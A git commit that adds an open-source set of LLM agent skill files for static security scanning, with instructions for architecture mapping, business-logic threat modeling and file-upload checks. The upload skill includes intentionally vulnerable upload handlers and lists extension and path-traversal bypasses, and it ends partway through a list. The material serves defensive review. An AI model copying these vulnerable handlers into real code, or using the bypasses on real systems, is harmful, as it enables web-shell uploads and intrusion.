first commit

This commit is contained in:
utkusen
2026-03-30 15:22:07 +01:00
commit c844e4ea5f
35 changed files with 13542 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
.DS_Store
+71
View File
@@ -0,0 +1,71 @@
# LLM SAST Skills
A collection of agent skills that turn your LLM coding assistant into a fully functional SAST scanner to find vulnerabilities in your codebase. Works natively with Claude Code, Codex, Opencode, Cursor and any other assistant that supports agent skills. No third-party tools required.
Claude Code with Opus model is recommended. But if the cost is a concern, use any IDE and model you trust.
![Screenshot from Opencode](opencode-screenshot.png)
## How It Works
`CLAUDE.md` (for Claude Code) or `AGENTS.md` (for Opencode and other IDEs) orchestrates the entire assessment workflow automatically. The assessment runs in three steps:
1. **Codebase Analysis** -- The `sast-analysis` skill maps the technology stack, architecture, entry points, data flows, and trust boundaries. It writes its findings to `sast/architecture.md`.
2. **Vulnerability Detection (parallel)** -- All 13 vulnerability detection skills run in parallel as subagents. Each skill follows a two-phase approach: first a recon/discovery phase to find candidate sections, then a verification phase to confirm exploitability. Results are written to `sast/*-results.md`.
3. **Report Generation** -- The `sast-report` skill consolidates all findings into a single `sast/final-report.md`, ranked by severity with full remediation guidance and dynamic test instructions.
## What It Detects
| Skill | Vulnerability Class |
|---|---|
| sast-analysis | Codebase reconnaissance, architecture mapping, threat modeling |
| sast-sqli | SQL Injection |
| sast-graphql | GraphQL injection |
| sast-xss | Cross-Site Scripting (XSS) |
| sast-rce | Remote Code Execution (command injection, eval, unsafe deserialization) |
| sast-ssrf | Server-Side Request Forgery |
| sast-idor | Insecure Direct Object Reference |
| sast-xxe | XML External Entity |
| sast-ssti | Server-Side Template Injection |
| sast-jwt | Insecure JWT implementations |
| sast-missingauth | Missing authentication and broken function-level authorization |
| sast-pathtraversal | Path / directory traversal |
| sast-fileupload | Insecure file upload |
| sast-businesslogic | Business logic flaws (price manipulation, workflow bypass, race conditions, etc.) |
| sast-report | Consolidated final report ranked by severity |
## Installation
Copy your project into the `sast-files` folder, then open `sast-files` as your workspace in your AI coding assistant.
```bash
cp -r /path/to/your/project sast-files/
```
> **Note:** If your project already contains a `CLAUDE.md` or `AGENTS.md` file, remove it before running the assessment — otherwise it will conflict with the orchestration file provided by this toolkit.
## Usage
After copying the files, open your project in your AI coding assistant and ask:
> Run vulnerability scan
or
> Find vulnerabilities in this codebase
The entry point file (`CLAUDE.md` or `AGENTS.md`) orchestrates the full workflow automatically. It will skip any steps whose output files already exist, so you can safely re-run it after fixing issues.
## Output
All output is written to a `sast/` folder in your project root:
| File | Description |
|---|---|
| `sast/architecture.md` | Technology stack, architecture, entry points, data flows |
| `sast/*-results.md` | Per-vulnerability-class findings with proof and remediation |
| `sast/final-report.md` | Consolidated report ranked by severity |
Binary file not shown.

After

Width:  |  Height:  |  Size: 997 KiB

@@ -0,0 +1,91 @@
---
name: sast-analysis
description: >-
Perform codebase analysis and architecture mapping as the first phase of a
security assessment. Explores the tech stack, frameworks, entry points, data
flows, and trust boundaries. Outputs sast/architecture.md. Run this before any
vulnerability detection skill. Use when asked to analyze a codebase for
security or when sast/architecture.md does not yet exist.
---
# Codebase Analysis
You are performing the first phase of a security assessment. Your goal is to deeply understand the codebase. You are NOT looking for specific vulnerabilities yet. This is pure reconnaissance.
Create a `sast/` folder in the project root (if it doesn't already exist). This phase produces one output file inside it:
`sast/architecture.md` — technology stack, architecture, entry points, data flows
## Phase 1: Technology Reconnaissance
Explore the codebase and identify:
- **Languages**: All programming languages used and their versions if specified
- **Frameworks**: Web frameworks, ORM layers, template engines, task queues
- **Package managers & dependencies**: Lock files, dependency manifests (package.json, requirements.txt, go.mod, Gemfile, pom.xml, etc.)
- **Infrastructure hints**: Dockerfiles, docker-compose, Kubernetes manifests, Terraform, CI/CD configs
- **Databases**: SQL, NoSQL, cache layers, message brokers — look at connection strings, ORM models, migration files
- **Authentication & authorization**: Auth libraries, middleware, session configs, OAuth/OIDC providers, JWT usage, API key patterns
- **External integrations**: Third-party APIs, payment processors, email services, cloud SDKs, webhook handlers
- **Entry points**: HTTP routes, GraphQL schemas, gRPC service definitions, CLI commands, WebSocket handlers, scheduled jobs, message consumers
Start by reading dependency manifests, project configs, and directory structure. Then drill into source code to confirm findings.
## Phase 2: Architecture Mapping
Based on Phase 1, build a mental model of:
1. **Service boundaries**: Is this a monolith or microservices? What talks to what?
2. **Data flow**: How does user input enter the system, get processed, get stored, and get returned?
3. **Trust boundaries**: Where does the system transition between trusted and untrusted contexts? (e.g., user input -> backend, backend -> database, service -> service, server -> client)
4. **Privilege levels**: What roles/permissions exist? How are they enforced? Is there an admin panel?
5. **Sensitive data inventory**: PII, credentials, tokens, financial data, health records — where is each stored and how does it move?
**Write the results of Phase 1 and Phase 2 to `sast/architecture.md`.** Use this format:
```markdown
# Architecture: [Project Name]
## Technology Stack
| Category | Details |
|---|---|
| Languages | ... |
| Frameworks | ... |
| Databases | ... |
| Auth mechanism | ... |
| Infrastructure | ... |
| External services | ... |
## Architecture Overview
[Describe the architecture: monolith vs microservices, how components interact,
main modules and their responsibilities]
## Data Flow
[Trace how user input enters the system, gets processed, stored, and returned.
Cover the primary flows (e.g., registration, login, core business actions).]
## Entry Points
| Entry Point | Type | Auth Required | Description |
|---|---|---|---|
| ... | HTTP/GraphQL/WS/etc. | Yes/No | ... |
## Trust Boundaries
[List each trust boundary and what crosses it]
## Sensitive Data Inventory
| Data Type | Where Stored | How Accessed | Protection |
|---|---|---|---|
| ... | ... | ... | ... |
```
## Important Reminders
- Do NOT report specific vulnerabilities (like "line 42 has SQL injection"). That comes in later phases.
- Be thorough in exploration. Read actual source code, not just config files. Look at how auth middleware is applied, how queries are built, how file uploads are handled.
- If the codebase is large, prioritize security-sensitive areas: auth, payment, data access, file handling, admin functionality.
@@ -0,0 +1,326 @@
---
name: sast-businesslogic
description: >-
Detect business logic vulnerabilities in a codebase using a two-phase
approach: first perform threat modeling by analyzing the application's
domain and generating specific attack scenarios (price manipulation,
workflow bypass, limit violations, race conditions, reward abuse, etc.),
then verify whether those threats are exploitable by checking for missing
validations and enforcement. Requires sast/architecture.md (run
sast-analysis first). Outputs findings to sast/businesslogic-results.md.
Use when asked to find business logic, logic flaws, or abuse-of-function bugs.
---
# Business Logic Vulnerability Detection
You are performing a focused security assessment to find business logic vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **threat modeling** (understand the domain and generate attack scenarios) then **verify** (check whether those attack scenarios are exploitable).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What are Business Logic Vulnerabilities
Business logic vulnerabilities arise when an application's intended workflow, rules, or constraints can be manipulated to produce unintended outcomes — without exploiting technical flaws like injection or memory corruption. The attacker operates within the application's own features but uses them in ways the developers did not anticipate.
The core pattern: *the application accepts input that is syntactically valid and passes authentication/authorization, but violates a business rule that was never enforced in code.*
### What Business Logic Vulnerabilities ARE
- Submitting a negative quantity to a purchase endpoint, receiving a credit instead of a charge
- Applying the same one-time discount coupon multiple times in parallel requests
- Skipping the payment step in a multi-step checkout by replaying a later step's request
- Posting a rating of 9999 to a movie rating endpoint that should cap ratings at 5
- Transferring a negative amount to move money from the recipient to the sender
- Redeeming a referral bonus by referring yourself with a second account
- Re-using a single-use reset token or voucher that was never invalidated
- Purchasing an item that is out of stock due to a race condition between inventory check and reservation
- Accessing a premium subscription feature after downgrading to a free plan
- Winning an auction by retracting a high bid after others have been eliminated
### What Business Logic Vulnerabilities are NOT
Do not flag these as business logic issues:
- **SQL injection, XSS, RCE, XXE, SSRF, SSTI**: These are injection/technical flaws — separate skills cover them
- **Missing authentication**: Endpoint requires no login at all → that's "Unauthenticated Access"
- **IDOR**: Accessing another user's resource by changing an ID → that's a separate access-control class
- **Brute-force / rate limiting**: Generic rate-limit bypass on login → that's not a business logic flaw unless it enables specific business rule circumvention
---
## Business Logic Attack Categories
Use these categories to guide threat modeling. Not all categories apply to every application — identify which ones are relevant based on the architecture summary.
### 1. Price & Payment Manipulation
- Negative prices or zero prices on purchase endpoints
- Arbitrary price override in request body (mass assignment of price field)
- Currency or unit confusion (e.g., cents vs. dollars)
- Floating-point precision abuse in monetary arithmetic
- Applying discounts that reduce total below zero
### 2. Quantity & Numeric Limit Violations
- Negative quantities (ordering −5 items to receive a credit)
- Quantities exceeding per-user or per-order limits
- Integer overflow/underflow in quantity or balance calculations
- Out-of-range values for bounded fields (ratings, scores, percentages)
### 3. Workflow & Multi-Step Process Bypass
- Skipping mandatory steps in a sequential process (payment, email verification, ID check)
- Replaying a completion token from a previous successful flow to bypass steps
- Direct-access to a later-stage endpoint without completing earlier stages
- Submitting a terminal state transition without going through intermediate states (state machine violations)
### 4. Coupon, Discount & Voucher Abuse
- Applying the same coupon multiple times (single-use not enforced)
- Stacking discounts that were not intended to be combined
- Using an expired coupon or voucher
- Generating or guessing valid coupon codes
### 5. Race Conditions & Concurrency Abuse
- Double-spending: sending two concurrent purchase requests to consume a balance once
- Concurrent coupon redemption draining credit beyond allowed amount
- TOCTOU (time-of-check / time-of-use) on inventory: check passes for both requests, both reservations succeed
- Parallel withdrawal/transfer requests exceeding account balance
### 6. Refund & Chargeback Abuse
- Requesting a refund after the digital good has been consumed or downloaded
- Partial refund on an already-partially-refunded order
- Refund without returning physical item (if logic is not enforced server-side)
### 7. Reward, Referral & Loyalty Abuse
- Self-referral using a second account to earn a referral bonus
- Earning signup bonuses multiple times across multiple accounts
- Loyalty point farming through artificial activity
- Sharing or transferring non-transferable rewards
### 8. Subscription & Entitlement Bypass
- Accessing paid/premium features after downgrading or cancelling
- Trial period abuse (repeatedly creating new accounts for trial access)
- Feature flag or plan check performed only at subscription creation, not at feature access time
- Entitlement cached at session start and not re-evaluated after plan change
### 9. Auction & Bidding Logic
- Retracting a winning bid after competing bids have been rejected
- Shill bidding: artificially inflating price with controlled accounts
- Bypass of reserve price enforcement
- Bid manipulation via concurrent requests
### 10. Inventory & Stock Logic
- Purchasing out-of-stock items due to missing stock validation
- Reserving more stock than available via concurrent requests
- Negative inventory resulting from refund-without-restock logic
- Phantom inventory: item appears available but cannot be fulfilled
### 11. Time & Date Logic
- Using time-limited offers after expiration (expiry checked client-side or weakly server-side)
- Backdating transactions or bookings
- Exploiting "grace period" logic to extend benefits indefinitely
- System clock manipulation if server trusts client-supplied timestamps
### 12. Transfer & Balance Logic
- Transferring a negative amount (sender receives money from recipient)
- Self-transfer to exploit bonus or fee logic
- Transferring more than the available balance due to missing server-side check
- Rounding errors exploited across many micro-transactions
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Threat Modeling — Domain Analysis & Attack Scenario Generation
Launch a subagent with the following instructions:
> **Goal**: Analyze the codebase to understand its business domain and generate a concrete, prioritized list of business logic attack scenarios specific to this application. Write results to `sast/businesslogic-threats.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand what the application does, what features it has, and what business rules it is supposed to enforce. Focus entirely on understanding the domain — do not verify vulnerabilities yet.
>
> **Step 1 — Identify the business domain and features**:
>
> Read `sast/architecture.md` and then explore the codebase to answer:
> - What does this application do? (e-commerce, marketplace, SaaS, social platform, fintech, gaming, booking, etc.)
> - What financial or transactional features exist? (payments, subscriptions, credits, tokens, wallets, invoices, refunds)
> - What quantitative limits or rules exist? (ratings, scores, quantities, usage limits, quotas)
> - What multi-step workflows exist? (checkout, onboarding, KYC, booking, auctions)
> - What promotional or reward features exist? (coupons, referrals, loyalty points, bonuses, vouchers)
> - What role or tier distinctions exist? (free vs. paid, user vs. premium, trial vs. full)
> - What inventory or capacity constraints exist? (stock, seats, slots, bandwidth)
>
> To discover features, search for:
> - Route/endpoint definitions and their names
> - Model/entity names (Order, Payment, Subscription, Coupon, Wallet, Bid, etc.)
> - Business-rule-related field names (price, quantity, balance, rating, score, limit, quota, expiry, status)
> - Validation logic or constraint-related code
>
> **Step 2 — Generate attack scenarios**:
>
> For each relevant business domain area found, generate specific attack scenarios. Each scenario must be:
> - **Specific to this codebase** — name the actual endpoint, model, or feature involved
> - **Actionable** — describe exactly what an attacker would send/do
> - **Grounded** — reference the code or data model that makes this scenario plausible
>
> Use the attack categories below as a checklist. Only include categories that are relevant to this application:
>
> - **Price/payment manipulation**: Can a user send an arbitrary price in the request? Is price trusted from client?
> - **Quantity/value out of range**: Can a user send negative quantities, zero, or values exceeding defined limits?
> - **Workflow bypass**: Can a user skip a mandatory step in a multi-step process?
> - **Coupon/discount abuse**: Can a coupon be used multiple times or after expiration?
> - **Race conditions**: Are there check-then-act patterns on shared resources (inventory, balance, coupon usage)?
> - **Refund abuse**: Can a refund be requested after the product is consumed?
> - **Reward/referral abuse**: Can referral or signup bonuses be farmed?
> - **Entitlement bypass**: Are premium features checked at access time or only at subscription time?
> - **Transfer/balance logic**: Can negative transfers or self-transfers be made?
> - **Time/date logic**: Are time-limited offers enforced server-side?
> - **Inventory logic**: Is stock validated atomically before reservation?
>
> **Output format** — write to `sast/businesslogic-threats.md`:
>
> ```markdown
> # Business Logic Threat Model: [Project Name]
>
> ## Application Domain
> [2–3 sentence summary of what the application does and its key business features]
>
> ## Business Features Identified
> - [Feature 1]: [brief description, relevant models/endpoints]
> - [Feature 2]: ...
>
> ## Attack Scenarios
>
> ### Scenario 1: [Short title, e.g. "Negative quantity purchase for credit"]
> - **Category**: [e.g. Quantity & Numeric Limit Violations]
> - **Target**: [Endpoint or feature, e.g. `POST /api/orders`]
> - **Description**: [What an attacker would do and what outcome they expect]
> - **Relevant code**: [File and line range where the relevant logic lives]
> - **Business rule that should be enforced**: [What the application is supposed to do]
> - **Risk level**: [High / Medium / Low]
>
> ### Scenario 2: ...
>
> ## Categories Not Applicable
> [List any categories from the checklist that are not relevant to this application and why]
> ```
### Phase 2: Verify — Check Whether Scenarios Are Exploitable
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each attack scenario in `sast/businesslogic-threats.md`, determine whether the business rule is properly enforced in code or whether the attack is exploitable. Write final results to `sast/businesslogic-results.md`.
>
> **Context**: You will be given the project's architecture summary and the threat model. Use the architecture summary to understand validation patterns, ORM usage, and where business rules are typically enforced.
>
> **For each scenario, perform the following checks**:
>
> **1. Is the business rule enforced server-side?**
> - Is the constraint validated in the backend handler, service layer, or ORM/database?
> - Or is it only validated client-side (frontend form validation, JavaScript min/max attributes)?
> - Client-side-only validation = exploitable.
>
> **2. Is the validation complete and covers all edge cases?**
> - Does it check for negative values where applicable?
> - Does it check upper bounds, not just lower bounds?
> - Does it handle concurrent requests (is the check atomic, or is there a TOCTOU window)?
> - Does it re-validate at the point of use, not just at an earlier step?
>
> **3. For workflow bypass scenarios**:
> - Does each step verify that previous required steps were completed?
> - Are step completion flags stored server-side (not just in a cookie or session that can be replayed)?
> - Can a terminal endpoint be called directly without going through earlier steps?
>
> **4. For coupon/voucher scenarios**:
> - Is the coupon marked as used atomically with the transaction (in the same DB transaction)?
> - Is concurrent redemption protected (SELECT FOR UPDATE, optimistic locking, atomic compare-and-swap)?
> - Is the expiry date checked server-side at redemption time?
>
> **5. For race condition scenarios**:
> - Is stock/balance check and decrement done atomically (in a single DB transaction or with row-level locking)?
> - Is there any idempotency key or deduplication logic to prevent duplicate concurrent requests?
>
> **6. For entitlement/subscription scenarios**:
> - Is the user's current plan/tier checked at the point of feature access?
> - Or is it cached at login/session start and never re-evaluated?
>
> **7. For transfer/balance scenarios**:
> - Is there a server-side check that the transfer amount is positive?
> - Is there a server-side check that the sender has sufficient balance?
> - Are these checks done within a database transaction to prevent race conditions?
>
> **Classification**:
> - **Exploitable**: The business rule is absent, bypassable, or only enforced client-side.
> - **Likely Exploitable**: The rule exists but has gaps (race condition window, missing edge case, bypassable condition).
> - **Not Exploitable**: Proper server-side enforcement exists and covers edge cases.
> - **Needs Manual Review**: Cannot determine with confidence (complex logic, external service dependency, etc.).
>
> **Output format** — write to `sast/businesslogic-results.md`:
>
> ```markdown
> # Business Logic Analysis Results: [Project Name]
>
> ## Executive Summary
> - Scenarios analyzed: [N]
> - Exploitable: [N]
> - Likely Exploitable: [N]
> - Not Exploitable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [EXPLOITABLE] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Business Rule Violated**: [What rule the application should enforce]
> - **Issue**: [Clear description of what validation is missing or broken]
> - **Impact**: [What an attacker can achieve — free goods, financial loss, unfair advantage, etc.]
> - **Proof**: [Show the code path demonstrating the missing enforcement]
> - **Remediation**: [Specific fix for this scenario]
> - **Dynamic Test**:
> ```
> [Step-by-step instructions or curl commands to confirm the finding on the live app.
> Include exact HTTP method, endpoint, headers, and request body.
> Describe what response or side effect confirms the vulnerability.]
> ```
>
> ### [LIKELY EXPLOITABLE] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path`
> - **Business Rule Violated**: [What rule should be enforced]
> - **Issue**: [What enforcement gap or race condition exists]
> - **Concern**: [Why this is likely exploitable despite partial enforcement]
> - **Proof**: [Show the code path with the weak/partial check]
> - **Remediation**: [Specific fix]
> - **Dynamic Test**:
> ```
> [Step-by-step instructions or curl commands, e.g. two concurrent requests, to confirm.]
> ```
>
> ### [NOT EXPLOITABLE] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Business Rule**: [What the application is supposed to enforce]
> - **Protection**: [How it is enforced — server-side validation, DB constraint, atomic transaction, etc.]
>
> ### [NEEDS MANUAL REVIEW] Scenario title
> - **Category**: [Attack category]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Uncertainty**: [Why automated analysis couldn't determine the status]
> - **Suggestion**: [What to examine manually or test dynamically]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run **after** Phase 1 completes — it depends on the threat model output.
- Focus strictly on **business logic flaws** — do not flag injection bugs, auth bypass, or IDOR issues here.
- Threat modeling in Phase 1 should be **application-specific**: generic scenarios not grounded in the actual codebase are not useful.
- Server-side validation is the only valid protection. Client-side validation, frontend form constraints, and API documentation that says "must be positive" are not security controls.
- Race conditions on financial operations are high-severity even if they appear to require exact timing — automated tools (Turbo Intruder, concurrent curl) make them trivial to exploit.
- When in doubt, classify as "Needs Manual Review" rather than "Not Exploitable". False negatives in a security assessment are worse than false positives.
- Pay attention to ORM and database-level constraints (CHECK constraints, unique indexes, transactions with locking) — these can provide enforcement that is not visible in application code alone.
@@ -0,0 +1,557 @@
---
name: sast-fileupload
description: >-
Detect insecure file upload vulnerabilities in a codebase using a two-phase
approach: first find all file upload handling sites (endpoints, storage calls,
multipart form processing), then check whether an attacker can upload malicious
files by manipulating file extensions. Requires sast/architecture.md (run
sast-analysis first). Outputs findings to sast/fileupload-results.md. Use when
asked to find file upload, unrestricted upload, or extension bypass bugs.
---
# Insecure File Upload Detection
You are performing a focused security assessment to find insecure file upload vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **discovery** (find all places where uploaded files are received and stored) then **bypass** (determine whether an attacker can upload a malicious file by manipulating its extension or bypassing validation logic).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is an Insecure File Upload
Insecure file upload occurs when an application accepts files from users without properly validating or restricting what can be uploaded, allowing an attacker to upload executable or malicious files. The most critical outcome is **Remote Code Execution (RCE)**: an attacker uploads a web shell (e.g., a `.php` file) and the server executes it when accessed via a direct URL.
The core pattern: *a user-supplied file reaches a storage location without adequate extension validation, and the stored file is accessible or executable.*
### What Insecure File Upload IS
- Accepting any file type with no extension or content check: `file.save(upload_path)` with no validation
- Content-Type-only validation: checking `Content-Type: image/png` without verifying the actual extension or file content — trivially bypassed by setting the header manually
- Extension blocklist with gaps: `.php` is blocked but `.php3`, `.php4`, `.php5`, `.phtml`, `.phar`, `.shtml` are not
- Case-insensitive bypass: blocking `.php` but allowing `.PHP`, `.Php`, `.pHp`
- Double extension bypass: `shell.php.jpg` — code extracts the last `.jpg` and considers it safe, but the server (Apache) serves it as PHP
- Path traversal in filenames: `../../webroot/shell.php` stored via an unsanitized filename
- Incomplete filename sanitization: only stripping `../` but not encoded variants `%2e%2e%2f`
- Serving uploaded files from a web-executable directory without disabling execution
### What Insecure File Upload is NOT
Do not flag these as file upload vulnerabilities:
- **Stored XSS via SVG**: uploading an SVG with embedded `<script>` that is reflected back — that's XSS, not an upload execution issue
- **SSRF via file content**: uploading an XML or SVG that triggers an outbound request — that's XXE/SSRF, not a file upload execution issue
- **DoS via large files**: missing file size limits — a separate availability issue
- **IDOR on download**: accessing another user's uploaded file without authorization — that's IDOR
- **Secure uploads**: files stored outside the web root, or served through a controlled download endpoint that sets `Content-Disposition: attachment`, or stored in an object storage bucket with no public execution capability
### Patterns That Prevent Insecure File Upload
When you see these patterns together, the code is likely **not vulnerable**:
**1. Allowlist of safe extensions (most important)**
```python
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
ext = filename.rsplit('.', 1)[-1].lower()
if ext not in ALLOWED_EXTENSIONS:
abort(400)
```
**2. Magic byte / file content validation (defense in depth)**
```python
import magic
mime = magic.from_buffer(file.read(2048), mime=True)
ALLOWED_MIMES = {'image/png', 'image/jpeg', 'image/gif'}
if mime not in ALLOWED_MIMES:
abort(400)
```
**3. Filename sanitization using a trusted library**
```python
from werkzeug.utils import secure_filename
filename = secure_filename(file.filename) # strips path separators and dangerous chars
```
**4. Storing uploads outside the web root**
```
/var/uploads/ ← not served by the web server
/var/www/html/ ← web root (do NOT store uploads here)
```
**5. Serving uploads through a controlled endpoint with Content-Disposition**
```python
@app.route('/download/<filename>')
def download(filename):
return send_from_directory(UPLOAD_FOLDER, filename,
as_attachment=True) # forces download, prevents execution
```
**6. Renaming the file to a server-generated UUID**
```python
import uuid
stored_name = str(uuid.uuid4()) + '.jpg' # extension is server-controlled, not user-controlled
```
---
## Vulnerable vs. Secure Examples
### Python — Flask
```python
# VULNERABLE: no extension check, file stored in web-accessible directory
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
f.save(os.path.join('static/uploads', f.filename))
return 'uploaded'
# VULNERABLE: content-type only check (trivially bypassed with curl -H)
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
if f.content_type not in ['image/png', 'image/jpeg']:
abort(400)
f.save(os.path.join('static/uploads', f.filename))
return 'uploaded'
# VULNERABLE: blocklist — .phtml/.phar/.php5 not covered
BLOCKED = {'.php', '.sh', '.exe'}
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
ext = os.path.splitext(f.filename)[1].lower()
if ext in BLOCKED:
abort(400)
f.save(os.path.join('static/uploads', f.filename))
return 'uploaded'
# SECURE: allowlist + sanitized filename + outside web root
ALLOWED = {'png', 'jpg', 'jpeg', 'gif'}
UPLOAD_FOLDER = '/var/uploads' # outside web root
@app.route('/upload', methods=['POST'])
def upload():
f = request.files['file']
filename = secure_filename(f.filename)
ext = filename.rsplit('.', 1)[-1].lower()
if ext not in ALLOWED:
abort(400)
f.save(os.path.join(UPLOAD_FOLDER, filename))
return 'uploaded'
```
### Python — Django
```python
# VULNERABLE: no validation on FileField
class DocumentForm(forms.ModelForm):
class Meta:
model = Document
fields = ['upload']
# VULNERABLE: manual save with no extension check
def upload(request):
f = request.FILES['file']
with open(f'media/uploads/{f.name}', 'wb+') as dest:
for chunk in f.chunks():
dest.write(chunk)
# SECURE: custom validator on FileField
def validate_file_extension(value):
ext = os.path.splitext(value.name)[1].lower()
if ext not in ['.png', '.jpg', '.jpeg', '.gif']:
raise ValidationError('Unsupported file extension.')
class DocumentForm(forms.ModelForm):
upload = forms.FileField(validators=[validate_file_extension])
```
### Node.js — Multer (Express)
```javascript
// VULNERABLE: no file filter, stored in public directory
const upload = multer({ dest: 'public/uploads/' });
app.post('/upload', upload.single('file'), (req, res) => {
res.send('uploaded');
});
// VULNERABLE: MIME type filter only (can be faked)
const upload = multer({
dest: 'uploads/',
fileFilter: (req, file, cb) => {
if (!file.mimetype.startsWith('image/')) return cb(null, false);
cb(null, true);
}
});
// SECURE: allowlist of extensions + storage outside web root
const ALLOWED_EXT = ['.jpg', '.jpeg', '.png', '.gif'];
const storage = multer.diskStorage({
destination: '/var/uploads', // not served by Express
filename: (req, file, cb) => {
const ext = path.extname(file.originalname).toLowerCase();
cb(null, `${uuidv4()}${ext}`);
}
});
const upload = multer({
storage,
fileFilter: (req, file, cb) => {
const ext = path.extname(file.originalname).toLowerCase();
cb(null, ALLOWED_EXT.includes(ext));
}
});
```
### PHP
```php
// VULNERABLE: no extension check, stored in web root
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// VULNERABLE: checking only content type header
if ($_FILES['file']['type'] !== 'image/jpeg') {
die('Invalid file type');
}
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// VULNERABLE: blocklist missing phtml/phar
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$blocked = ['php', 'sh', 'py'];
if (in_array($ext, $blocked)) die('Blocked');
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
// SECURE: allowlist + rename to UUID + outside web root
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die('Invalid extension');
$stored = '/var/uploads/' . bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['file']['tmp_name'], $stored);
```
### Java — Spring Boot (MultipartFile)
```java
// VULNERABLE: no validation, stored in web-accessible path
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
Path path = Paths.get("src/main/resources/static/uploads/" + file.getOriginalFilename());
Files.write(path, file.getBytes());
return "uploaded";
}
// VULNERABLE: content type header only
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
if (!file.getContentType().startsWith("image/")) throw new BadRequestException();
Files.write(Paths.get("uploads/" + file.getOriginalFilename()), file.getBytes());
return "uploaded";
}
// SECURE: allowlist + UUID rename + path outside web root
private static final Set<String> ALLOWED = Set.of("jpg", "jpeg", "png", "gif");
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) throws IOException {
String original = StringUtils.cleanPath(file.getOriginalFilename());
String ext = FilenameUtils.getExtension(original).toLowerCase();
if (!ALLOWED.contains(ext)) throw new BadRequestException("Invalid extension");
String stored = UUID.randomUUID() + "." + ext;
Files.write(Paths.get("/var/uploads/" + stored), file.getBytes());
return "uploaded";
}
```
### Go
```go
// VULNERABLE: no extension check, stored in static directory
func uploadHandler(w http.ResponseWriter, r *http.Request) {
file, header, _ := r.FormFile("file")
defer file.Close()
dst, _ := os.Create("static/uploads/" + header.Filename)
defer dst.Close()
io.Copy(dst, file)
}
// SECURE: allowlist extension + UUID rename + outside web root
var allowed = map[string]bool{"jpg": true, "jpeg": true, "png": true, "gif": true}
func uploadHandler(w http.ResponseWriter, r *http.Request) {
file, header, _ := r.FormFile("file")
defer file.Close()
ext := strings.ToLower(filepath.Ext(header.Filename))
if ext == "" || !allowed[ext[1:]] {
http.Error(w, "invalid extension", http.StatusBadRequest)
return
}
stored := "/var/uploads/" + uuid.New().String() + ext
dst, _ := os.Create(stored)
defer dst.Close()
io.Copy(dst, file)
}
```
### Ruby on Rails
```ruby
# VULNERABLE: no content type or extension validation
def upload
file = params[:file]
File.open(Rails.root.join('public', 'uploads', file.original_filename), 'wb') do |f|
f.write(file.read)
end
end
# SECURE: ActiveStorage with content type allowlist (Rails 6+)
has_one_attached :avatar
validates :avatar, content_type: ['image/png', 'image/jpg', 'image/jpeg']
# Note: still validate extension too — content_type is user-supplied in some configurations
# SECURE: CarrierWave with extension and content type allowlist
class AvatarUploader < CarrierWave::Uploader::Base
def extension_allowlist
%w[jpg jpeg png gif]
end
def content_type_allowlist
/image\//
end
end
```
### C# — ASP.NET Core
```csharp
// VULNERABLE: no extension check, stored in wwwroot
[HttpPost]
public async Task<IActionResult> Upload(IFormFile file) {
var path = Path.Combine("wwwroot/uploads", file.FileName);
using var stream = new FileStream(path, FileMode.Create);
await file.CopyToAsync(stream);
return Ok();
}
// SECURE: allowlist + GUID rename + outside web root
private static readonly HashSet<string> _allowed = new() { ".jpg", ".jpeg", ".png", ".gif" };
[HttpPost]
public async Task<IActionResult> Upload(IFormFile file) {
var ext = Path.GetExtension(file.FileName).ToLowerInvariant();
if (!_allowed.Contains(ext)) return BadRequest("Invalid extension");
var stored = Path.Combine("/var/uploads", $"{Guid.NewGuid()}{ext}");
using var stream = new FileStream(stored, FileMode.Create);
await file.CopyToAsync(stream);
return Ok();
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find All File Upload Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where files uploaded by users are received and stored. Write results to `sast/fileupload-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the framework, file storage patterns, and whether uploads go to local disk, cloud storage, or a CDN.
>
> **What to search for — file upload handling patterns**:
>
> Look for any code that receives a file from an HTTP request and writes or stores it. Do not yet evaluate whether validation is present — just find all the sites.
>
> 1. **Python / Django**:
> - `request.FILES` access
> - `InMemoryUploadedFile`, `TemporaryUploadedFile`
> - `default_storage.save(...)`, `FileSystemStorage().save(...)`
> - Model `FileField` / `ImageField` form submissions
> - `shutil.copyfileobj(f, dest)` or manual `.write(f.read())` on uploaded data
>
> 2. **Python / Flask**:
> - `request.files.get(...)` or `request.files[...]`
